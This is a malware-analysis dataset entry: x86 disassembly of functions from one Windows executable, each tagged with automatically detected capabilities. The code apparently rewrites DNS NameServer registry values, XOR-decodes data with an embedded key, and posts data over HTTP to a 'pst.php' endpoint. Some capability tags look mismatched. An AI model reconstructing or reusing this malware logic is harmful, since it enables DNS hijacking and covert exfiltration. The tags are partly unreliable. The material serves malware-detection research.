joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d1a10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x6d1a3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x6d1a3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x6e9120
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x28]
mov edx, 0x100
mov ebp, dword [edi + 0x4c]
cmp ebp, 1
mov esi, dword [edi + 0x1c0]
sete al
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], ebp
mov byte [esi + 0x1c], al
mov eax, 0x2fe
push dword [edi + 0x64]
mov ecx, dword [edi + 4]
cmovne eax, edx
push eax
push 1
push edi
mov eax, dword [ecx + 8]
call eax
xor ebx, ebx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
add esp, 0x10
mov dword [esp + 0x10], ebx
cmp dword [edi + 0x64], ebx
jle 0x6e9253
nop dword [eax]
mov ecx, dword [esi + ebx*4 + 0x20]
cdq
idiv ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
cmp ebp, 1
jne 0x6e919e
mov eax, dword [esi + 0x18]
add dword [eax + ebx*4], 0xff
mov eax, dword [esi + 0x18]
lea edi, [ecx*2 - 2]
mov ebp, dword [eax + ebx*4]
lea eax, [ecx + 0xfe]
cdq
xor ebx, ebx
idiv edi
xor esi, esi
mov edx, eax
nop word [eax + eax]
cmp esi, edx
jle 0x6e91e4
imul eax, ebx, 0x1fe
add ecx, 0xfe
add ecx, eax
add ecx, 0x1fe
inc ebx
mov eax, ecx
cdq
idiv edi
mov edx, eax
cmp esi, edx
jg 0x6e91d2
mov ecx, dword [esp + 0x14]
movzx ecx, cl
movzx eax, bl
imul ecx, eax
mov byte [esi + ebp], cl
inc esi
mov ecx, dword [esp + 0x1c]
cmp esi, 0xff
jle 0x6e91c0
cmp dword [esp + 0x18], 1
jne 0x6e9231
mov ecx, 1
lea edx, [ebp - 1]
movzx eax, byte [ebp]
lea edx, [edx - 1]
mov byte [edx + 1], al
movzx eax, byte [ebp + 0xff]
mov byte [ecx + ebp + 0xff], al
inc ecx
cmp ecx, 0xff
jle 0x6e9210
mov eax, dword [esp + 0x28]
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x18]
inc ebx
mov esi, dword [esp + 0x20]
cmp ebx, dword [eax + 0x64]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], ebx
jl 0x6e9180
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4012e9
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x114
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [ebp - 0x1c]
sub eax, 3
je 0x4013a9
dec eax
mov ecx, dword [ebp - 0x18]
je 0x401349
dec eax
je 0x401327
dec eax
jne 0x401357
push str.Windows_Vista
jmp 0x4013ae
mov eax, ecx
sub eax, 0
je 0x401342
dec eax
je 0x40133b
dec eax
jne 0x401357
push str.Windows_2003
jmp 0x4013ae
push str.Windows_XP
jmp 0x4013ae
push str.Windows_2000
jmp 0x4013ae
test ecx, ecx
je 0x401397
cmp ecx, 0xa
je 0x401390
cmp ecx, 0x5a
je 0x401389
cmp dword [ebp - 0x10], 2
mov eax, 0x414220
je 0x401367
mov eax, 0x41421c
push ecx
push dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0xa0]
push str.Win_s__d._d
push eax
call fcn.0040c35b
add esp, 0x14
lea eax, [ebp - 0xa0]
push eax
jmp 0x4013ae
push str.Windows_Me
jmp 0x4013ae
push str.Windows_98
jmp 0x4013ae
cmp dword [ebp - 0x10], 2
mov eax, str.Windows_NT_4.0
je 0x401386
mov eax, str.Windows_95
jmp 0x401386
push str.WindowsNT_3.51
mov ecx, dword [ebp + 0x7c]
call fcn.0040129a
mov ecx, dword [ebp + 0x7c]
push 0x4141c8
call fcn.0040129a
mov ecx, dword [ebp + 0x7c]
lea eax, [ebp - 0xc]
push eax
call fcn.0040129a
add ebp, 0x74
leave
ret
Function at 0x402f4d
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push eax
push 0x104
push str.paars.ini
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403002
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 7
push 0x40000000
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x402faf
xor al, al
jmp 0x403004
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0
lea eax, [ebp - 0xc]
push eax
lea esi, [ebx + 0x41d010]
push dword [esi]
call fcn.0040c29b
pop ecx
push eax
push dword [esi]
push dword [ebp - 8]
call edi
push 0
lea eax, [ebp - 0xc]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
mov byte [ebp - 4], 0xd
mov byte [ebp - 3], 0xa
call edi
add ebx, 4
cmp ebx, 0x430
jb 0x402fb7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x40369c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 8
mov esi, ecx
call fcn.0040c5f9
pop ecx
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
lea ecx, [ebp - 4]
push ecx
xor ecx, ecx
push ecx
push eax
push 0x403530
push ecx
push ecx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
leave
ret 4

Function at 0x4036d7
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 8
mov esi, ecx
call fcn.0040c5f9
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
xor ecx, ecx
lea edi, [esi + 4]
push edi
push ecx
push eax
push 0x403530
push ecx
push ecx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi], eax
mov eax, dword [edi]
pop edi
pop esi
ret 4
Function at 0x4037ea
Capabilities:
Persist via windows service
Query or enumerate registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetServicesTcpipParameters_
lea ecx, [ebp - 8]
mov dword [ebp - 8], ebx
call fcn.0040d056
push str.Interfaces_
lea ecx, [ebp - 8]
call fcn.0040129a
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push ebx
push dword [ebp - 8]
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40383c
lea ecx, [ebp - 8]
call fcn.0040d051
xor al, al
jmp 0x40394b
push esi
push edi
push 1
lea ecx, [ebp - 4]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 0x80
mov dword [ebp - 4], ebx
call fcn.0040cfe3
mov eax, dword [ebp - 0x14]
inc eax
push eax
lea ecx, [ebp - 4]
call fcn.0040cfe3
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push ebx
push dword [ebp - 0x10]
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x403919
push ebx
push dword [ebp - 8]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
call fcn.0040d056
push dword [ebp - 4]
lea ecx, [ebp - 0xc]
call fcn.0040129a
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push ebx
push dword [ebp - 0xc]
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40392a
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, ebx
jne 0x4038c7
xor eax, eax
jmp 0x4038ce
push eax
call fcn.0040c29b
pop ecx
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx]
inc eax
push eax
push ecx
push 1
push ebx
push str.NameServer
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
call esi
cmp dword [ebp - 0x20], ebx
jne 0x403950
inc dword [ebp - 0x18]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x14], 0x80
call fcn.0040d051
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x403884
push dword [ebp - 0x10]
call esi
mov bl, 1
jmp 0x40395d
push dword [ebp - 0x10]
call esi
lea ecx, [ebp - 0xc]
call fcn.0040d051
lea ecx, [ebp - 4]
call fcn.0040d051
lea ecx, [ebp - 8]
call fcn.0040d051
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
push dword [ebp - 0x10]
call esi
lea ecx, [ebp - 0xc]
call fcn.0040d051
lea ecx, [ebp - 4]
call fcn.0040d051
lea ecx, [ebp - 8]
call fcn.0040d051
mov al, bl
jmp 0x403949

Function at 0x404419
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
xor al, al
cmp dword [esp + 8], ecx
jbe 0x404431
mov edx, dword [esp + 4]
xor al, byte [ecx + edx]
inc ecx
cmp ecx, dword [esp + 8]
jb 0x404423
ret
Function at 0x40444b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0xdf
mov byte [ebp - 0xe], 0xec
mov byte [ebp - 0xd], 0x43
mov byte [ebp - 0xc], 0xa0
mov byte [ebp - 0xb], 0x26
mov byte [ebp - 0xa], 0xb3
mov byte [ebp - 9], 0x5f
mov byte [ebp - 8], 0x35
mov byte [ebp - 7], 0xaf
mov byte [ebp - 6], 0x96
mov byte [ebp - 5], 0x1e
mov byte [ebp - 4], 0x8c
mov byte [ebp - 3], 0x12
mov byte [ebp - 2], 0x64
mov byte [ebp - 1], 0x7b
jbe 0x4044aa
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x4044a1
pop esi
leave
ret

Function at 0x4050f0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
movzx eax, word [esi + 4]
push edi
push eax
push dword [esi]
mov edi, ecx
lea ecx, [ebp - 0x10]
call fcn.004011b7
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
movzx ecx, word [esi + 4]
push str.anonymous
push ecx
push eax
push dword [edi + 0x8c]
call dword [sym.imp.WININET.dll_InternetConnectA]
pop edi
pop esi
leave
ret 4

Function at 0x4053bb
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 0x10]
mov esi, ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004016c1
xor ebx, ebx
mov dword [esi], 0x4176b0
mov byte [esi + 0x40], bl
push 1
lea ecx, [esi + 0x48]
mov dword [esi + 0x44], ebx
call fcn.00401e41
push ebx
lea ecx, [esi + 0x4c]
call fcn.00401e41
push 4
lea edi, [esi + 0x50]
mov dword [edi + 0xc], ebx
mov dword [edi + 8], ebx
mov dword [edi + 4], ebx
mov dword [esi + 0x6c], ebx
mov dword [esi + 0x68], ebx
mov dword [esi + 0x64], ebx
lea eax, [ebp + 0x10]
push eax
mov dword [esi + 0x7c], ebx
mov dword [esi + 0x78], ebx
mov dword [esi + 0x74], ebx
push 0x49
mov dword [esi + 0x80], ebx
push ebx
mov dword [esi + 0x84], ebx
mov dword [esi + 0x88], ebx
mov dword [ebp + 0x10], 0xff
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp + 0x10]
push eax
push 0x4a
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windoss_NT_5.1__SV1921_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esi + 0x8c], eax
jne 0x405483
push ebx
push ebx
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_6.0__Windoss_NT_5.1__SV1921_
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [esi + 0x8c], eax
jne 0x405483
mov ecx, esi
call fcn.004014a1
jmp 0x4054c4
push ebx
mov ecx, edi
mov dword [edi + 0xc], 0x405377
mov dword [edi + 8], esi
mov dword [edi + 4], ebx
call fcn.0040a589
lea ecx, [esi + 0x70]
push ebx
mov dword [ecx + 0xc], 0x404cce
mov dword [ecx + 8], esi
mov dword [ecx + 4], ebx
call fcn.0040a589
lea ecx, [esi + 0x60]
push ebx
mov dword [ecx + 0xc], 0x405155
mov dword [ecx + 8], esi
mov dword [ecx + 4], ebx
call fcn.0040a589
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4064c0
Capabilities:
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80400100
push ebx
push ebx
mov esi, str.pst_pst.php
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x30]
push eax
movsd dword es:[edi], dword [esi]
push str.POST
push dword [ecx + 0x102c]
mov dword [ebp - 0x18], ecx
mov byte [ebp - 1], bl
movsd dword es:[edi], dword [esi]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x406659
push 0xc
pop ecx
push dword [ebp + 0xc]
mov esi, str.Content_Type:_application_x_www_form_urlencoded_r_n
push dword [ebp + 8]
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x64]
push eax
movsw word es:[edi], word [esi]
call fcn.0040c29b
pop ecx
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x406650
mov esi, dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
xor edi, edi
mov dword [ebp + 8], ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
jmp 0x4065a7
cmp dword [ebp + 8], ebx
jbe 0x4065b6
push 1
lea ecx, [ebp + 0xc]
mov dword [ebp + 0xc], ebx
call fcn.0040cfe3
mov eax, dword [ebp + 8]
inc eax
push eax
lea ecx, [ebp + 0xc]
call fcn.0040cfe3
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40659f
add edi, dword [ebp - 0x14]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x10], edi
call fcn.00401b95
mov ecx, eax
call fcn.0040d160
lea ecx, [ebp + 0xc]
call fcn.0040d051
push ebx
push ebx
lea eax, [ebp + 8]
push eax
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x406550
lea eax, [edi + 1]
push eax
mov dword [ebp - 8], eax
call fcn.0040bf6b
cmp dword [ebp - 0x20], ebx
mov esi, eax
pop ecx
mov byte [esi], bl
jbe 0x4065ee
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
mov dword [ebp + 0xc], eax
push dword [edi]
push esi
call fcn.0040c2ee
pop ecx
pop ecx
mov ecx, edi
call fcn.0040d009
add edi, 4
dec dword [ebp + 0xc]
jne 0x4065d5
push dword [ebp - 8]
call fcn.0040bf6b
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push esi
call fcn.0040badb
push esi
call fcn.0040bf7f
mov esi, dword [ebp - 0x18]
mov ecx, dword [esi + 0x20]
mov eax, dword [ecx]
add esp, 0x18
push ebx
push 4
lea edx, [ebp - 8]
push edx
call dword [eax + 8]
mov ecx, dword [esi + 0x20]
lea edx, [ebp - 0x1c]
push edx
push dword [ebp - 8]
mov dword [ebp - 0x1c], 0x1e
mov eax, dword [ecx]
push edi
call dword [eax + 8]
cmp eax, dword [ebp - 8]
jne 0x406641
mov byte [ebp - 1], 1
push edi
call fcn.0040bf7f
pop ecx
lea ecx, [ebp - 0x24]
call fcn.00401aa4
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x406e29
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push 0x10
mov eax, ecx
pop edi
mov bl, byte [esi]
xor bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
inc esi
dec edi
jne 0x406e3d
pop edi
pop esi
pop ebx
ret

Function at 0x4087c3
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 8
mov esi, ecx
call fcn.0040c5f9
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
xor ecx, ecx
lea edi, [esi + 4]
push edi
push ecx
push eax
push 0x40870e
push ecx
push ecx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi], eax
mov eax, dword [edi]
pop edi
pop esi
ret 4

Function at 0x40a589
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 8
mov esi, ecx
call fcn.0040c5f9
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
xor ecx, ecx
lea edi, [esi + 4]
push edi
push ecx
push eax
push 0x402189
push ecx
push ecx
mov dword [eax], esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi], eax
mov eax, dword [edi]
pop edi
pop esi
ret 4

Function at 0x40ccc4
Capabilities:
Connect socket

Disassembly:
push esi
push edi
push 0x10
push dword [esp + 0x10]
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
mov edi, eax
cmp edi, 0xffffffff
sete al
mov ecx, esi
push eax
call fcn.0040cbc2
mov eax, edi
pop edi
pop esi
ret 4

Function at 0x40cf3b
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
mov al, byte [esi]
cmp al, 0x30
jl 0x40cf66
cmp al, 0x39
jg 0x40cf66
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x40cf66
cmp byte [esp + 0xc], 0
je 0x40cf7c
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40cf7a
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x40cf56
xor eax, eax
pop esi
ret
Function at 0x40d5aa
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18ac
call fcn.00401160
push ebx
push esi
push edi
push 0xd96
push 1
push dword [ebp + 8]
mov word [ebp - 0x34], 2
call fcn.0040cf3b
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.004011b7
lea ecx, [ebp - 0x10]
call fcn.0040daae
push 0x80
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
xor esi, esi
push esi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
call fcn.0040cf89
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x14], 0x10
call fcn.0040ce58
xor ebx, ebx
mov dword [ebp - 4], esi
jmp 0x40d622
xor esi, esi
test bl, 1
jne 0x40d63b
push esi
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
xor al, al
call fcn.0040d2e5
add esp, 0x10
test bl, 2
jne 0x40d656
push 1
push 1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
xor al, al
call fcn.0040d2e5
add esp, 0x10
test bl, 4
jne 0x40d670
push 2
push esi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
mov al, 1
call fcn.0040d2e5
add esp, 0x10
cmp ebx, 7
je 0x40d6d6
push 0x1f4
lea ecx, [ebp - 0x10]
call fcn.0040d24f
test al, al
pop ecx
je 0x40d6c4
lea esi, [ebp - 0x58c]
lea ecx, [ebp - 0x10]
call fcn.0040d3c5
test al, al
je 0x40d6bf
movzx ecx, byte [ebp - 0x588]
xor eax, eax
inc eax
shl eax, cl
test ebx, eax
jne 0x40d6bf
or ebx, eax
imul ecx, ecx, 0x4c8
lea edi, [ebp + ecx - 0x18ac]
mov ecx, 0x132
rep movsd dword es:[edi], dword [esi]
cmp ebx, 7
jne 0x40d675
cmp ebx, 7
je 0x40d6d6
inc dword [ebp - 4]
cmp dword [ebp - 4], 5
jl 0x40d620
test bl, 1
je 0x40d77a
cmp byte [ebp - 0x1860], 0
je 0x40d77a
mov dword [ebp - 4], 5
mov esi, ebx
and esi, 8
jne 0x40d721
push 3
push 0
push dword [ebp - 0x1858]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x1854]
call fcn.004011b7
push eax
lea eax, [ebp - 0x10]
push eax
xor al, al
call fcn.0040d2e5
add esp, 0x10
test esi, esi
jne 0x40d771
push 0x1f4
lea ecx, [ebp - 0x10]
call fcn.0040d24f
test al, al
pop ecx
je 0x40d771
lea esi, [ebp - 0x58c]
lea ecx, [ebp - 0x10]
call fcn.0040d3c5
test al, al
je 0x40d725
mov cl, byte [ebp - 0x588]
xor eax, eax
inc eax
shl eax, cl
test ebx, eax
jne 0x40d725
movzx edi, cl
or ebx, eax
imul edi, edi, 0x4c8
lea edi, [ebp + edi - 0x18ac]
mov ecx, 0x132
rep movsd dword es:[edi], dword [esi]
dec dword [ebp - 4]
jne 0x40d6f3
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x417998
call fcn.0040cf7e
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40d7c9
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1018
call fcn.00401160
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
cmp eax, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
jne 0x40d7f6
mov dword [ebp + 0x10], 0x1e
jmp 0x40d7fb
mov eax, dword [eax]
mov dword [ebp + 0x10], eax
mov esi, dword [edi + 4]
mov eax, dword [ebp + 0x10]
inc esi
cmp eax, ebx
mov dword [ebp + 8], eax
jle 0x40d879
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 4]
cmp eax, ebx
mov dword [ebp - 0xc], eax
jle 0x40d879
lea eax, [ebp - 0x1018]
push eax
mov ecx, edi
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1018], ebx
call fcn.0040cbd9
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1018]
push eax
push eax
push ebx
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x40d883
cmp eax, ebx
je 0x40d871
push ebx
push dword [ebp - 0xc]
mov ecx, edi
push dword [ebp - 8]
call fcn.0040cd18
cmp eax, ebx
jle 0x40d88c
add dword [ebp - 8], eax
add dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp + 8], eax
jmp 0x40d874
dec dword [ebp + 8]
cmp dword [ebp + 8], ebx
jg 0x40d809
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc
push 1
mov ecx, edi
call fcn.0040cbc2
or eax, 0xffffffff
jmp 0x40d87c
Function at 0x40eadf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x40eb6c
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0040c201
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x40eb2c
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x40eb4e
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x40ec2a
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x40eb94
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x40eb9f
xor eax, eax
jmp 0x40ebeb
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x40ebbc
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0040dae8
jmp 0x40ebcc
cmp ecx, 2
jne 0x40ebd5
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.0040dfed
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.0040c201
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x40ec16
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x40ec2a
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x40eaea
pop edi
pop ebx
leave
ret
Function at 0x41327e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d498]
jne 0x413288
repz ret
jmp fcn.00413309